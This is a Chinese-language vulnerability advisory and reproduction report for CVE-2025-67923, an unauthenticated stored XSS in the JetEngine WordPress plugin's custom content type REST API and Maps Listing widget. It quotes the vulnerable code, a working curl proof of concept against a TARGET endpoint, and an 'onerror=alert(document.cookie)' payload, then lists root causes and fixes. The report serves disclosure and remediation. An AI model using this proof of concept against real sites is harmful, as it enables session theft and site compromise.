日期: 2026年3月11日 CVSS 评分: 7.1(高危) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 受影响插件: JetEngine <= 3.7.7 插件标识(slug): jet-engine 修复版本: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 研究人员: Bonds(通过 Patchstack) 报告时间: 2025年10月19日 披露时间: 2026年1月 测试使用的 WordPress 版本: 最新版
CVE-2025-67923 是 JetEngine WordPress 插件中的一个未认证存储型跨站脚本(Stored XSS) 漏洞,影响所有版本(含 3.7.7)及以下版本。未认证攻击者可以通过公开的 REST API 将任意 HTML/JavaScript 写入自定义内容类型(CCT)的文本字段,当受害者访问任何包含“地图列表(Maps Listing)”小部件的页面时,该值会被未经净化地通过 JavaScript 的 innerHTML 汇点注入 DOM。
该攻击无需认证,不需要任何权限,仅需满足:
public。✅ 漏洞已确认 — 存储型 XSS 载荷已写入并执行
已确认的影响:
该漏洞是两个独立弱点组合而成:
输入净化缺失(存储): CCT 条目处理器的 sanitize_field_value() 方法对 text 类型字段没有净化路径。default: 分支仅转换时间戳——原始 HTML 会直接通过并持久化到数据库。
基于 DOM 的 XSS 汇点(渲染): “地图列表”小部件通过 get_marker_label() 读取存储的字段值,用 htmlspecialchars(json_encode(...)) 包装后放入 data-markers HTML 属性,然后 JavaScript 前端通过 getAttribute() 读取该属性(该调用会解码 HTML 实体),再通过 innerHTML 直接将 markerData.label 插入页面——从而执行任何嵌入的 HTML/JavaScript。
CCT 公共 REST 控制器通过 check_user_permissions() 检查权限:
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // 无需认证
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
当 CCT 配置为 rest_put_access = 'public'(这是面向公众表单的一种受支持且有文档记录的配置)时,该端点完全无需认证。任何 HTTP 客户端都可以向 /wp-json/jet-cct/{slug} 发送 POST 请求。
REST 处理器调用 $handler->update_item($params),进而进入 sanitize_field_value():
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // 净化子字段
// ...
case 'checkbox': // 处理布尔数组
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // 净化媒体 JSON
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // 已净化
break;
default:
// TEXT 类型会走到这里 —— 仅做时间戳转换,没有 HTML 净化
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
text 类型字段会进入 default: 分支。maybe_to_timestamp() 对于非日期字符串会原样返回该值。XSS 载荷 `` 被原样存储。
当“地图列表”小部件渲染时,get_marker_label() 读取字段:
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// 这里没有 esc_html() —— 返回原始值
}
break;
}
return $result; // 返回 ""
}
返回的值被放入标记数据数组中:
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // 原始 XSS 载荷
// ...
);
标记数组被编码为 HTML 属性:
// render.php:247
return htmlspecialchars( json_encode( $result ) );
json_encode 将 `` 序列化为字符串 ""。随后 htmlspecialchars 对整个 JSON 进行 HTML 编码,得到:
[{...,"label":"<img src=x onerror=alert(1)>",...}]
这段内容被写入 data-markers HTML 属性。编码只保护属性边界。 当 JavaScript 读取该属性时,浏览器会解码 HTML 实体,恢复原始字符:
// 浏览器在通过 dataset / getAttribute 读取时会自动解码实体
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
在 frontend-maps.js 中,原始标签字符串被直接拼接到 HTML 内容字符串中:
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
然后该内容字符串被设置为标记元素的 innerHTML:
// mapbox-maps.js:175
el.innerHTML = data.content; // XSS 触发
// leaflet-maps.js:34
contentHtml.innerHTML = content; // XSS 触发
每个加载包含“地图列表”小部件页面的访客都会触发该载荷。
maps-listings 和 custom-content-types 模块。locations 的 CCT(slug:locations),且:
rest_put_enabled = truerest_put_access = 'public'label 的 text 类型字段marker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
响应:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
响应:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
`` 标签被原样存储——没有发生任何净化。
任何已认证或未认证的访客,只要加载包含“地图列表”小部件的页面,就会执行该载荷。渲染后的 HTML 属性包含:
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
JavaScript 读取 data-markers,解码 HTML 实体,进行 JSON 解析,并插入 DOM:
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror 触发 → alert(document.cookie)
攻击者 WordPress REST API 受害者浏览器
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() 触发
sanitize_field_value() 对 wysiwyg 显式使用基于 wp_kses 的净化操作,但将所有其他字符串类型放入 default: 分支,该分支不执行任何 HTML 转义。“text 字段是纯文本”这一假设在该字段的值随后经地图小部件的 innerHTML 路径被渲染为 HTML 时被打破。
htmlspecialchars(json_encode($result)) 被用来保护 HTML 属性边界。这是正确且必要的——但当该值随后被 JavaScript 读回并通过 innerHTML 插入 DOM 时,这并不足以防止 XSS。这种编码可被浏览器逆转。正确的修复方式是在 JSON 编码之前对单独的 label 值应用 esc_html()(或 htmlspecialchars),使载荷以实体编码文本的形式存储在 JSON 中。当 JavaScript 通过 innerHTML 插入该值时,浏览器会将 <img> 渲染为文本,而非 HTML 标签。
另一种方案是,在 JavaScript 中将标签字段的 innerHTML 替换为 textContent。
REST API 写入路径(update_item)并未将所有存储值视为潜在的 HTML 汇点。净化策略仅按字段类型定义,text 字段被静默豁免,尽管其值会通过地图小部件在前端被渲染为 HTML。
| 日期 | 事件 |
|---|---|
| 2025年10月19日 | 研究人员 "Bonds" 通过 Patchstack 报告该漏洞 |
| 2026年1月 | 公开披露 |
| 2026年1月 | 发布包含修复的 JetEngine 3.7.8 |
| 2026年3月11日 | 使用完整 PoC 独立复现确认 |
| 文件 | 问题 |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | 当 CCT 的 rest_put_access = 'public' 时,create_item_permissions_check 返回 true — 无需认证 |
includes/modules/custom-content-types/inc/item-handler.php:489 | sanitize_field_value() 的 default: 分支 — 对 text 类型字段没有 HTML 净化 |
includes/modules/maps-listings/inc/render.php:233 | get_marker_label() 返回原始 meta 值,未使用 esc_html() |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — 仅保护属性边界,不能防止 innerHTML 注入 |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — 原始标签被拼接到 HTML 字符串 |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — XSS 执行汇点 |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — XSS 执行汇点 |
| 修复措施 | 文件 | 描述 |
|---|
| 在保存时净化 text 字段 | item-handler.php:sanitize_field_value() | 在 default: 分支中添加 $value = wp_kses($value, []) 或 sanitize_text_field($value) |
| 在渲染时转义标签 | render.php:get_marker_label() | 在返回标签值之前应用 esc_html($result) |
标签改为使用 textContent 而非 innerHTML | frontend-maps.js、mapbox-maps.js、leaflet-maps.js | 当内容仅为标签文本时,将 el.innerHTML = data.content 替换为安全的 DOM 构造方式 |
| 限制 REST 写入访问的默认权限 | 插件设置 | 将 rest_put_access 的默认值从 public 改为 manage_options;要求显式选择开启 |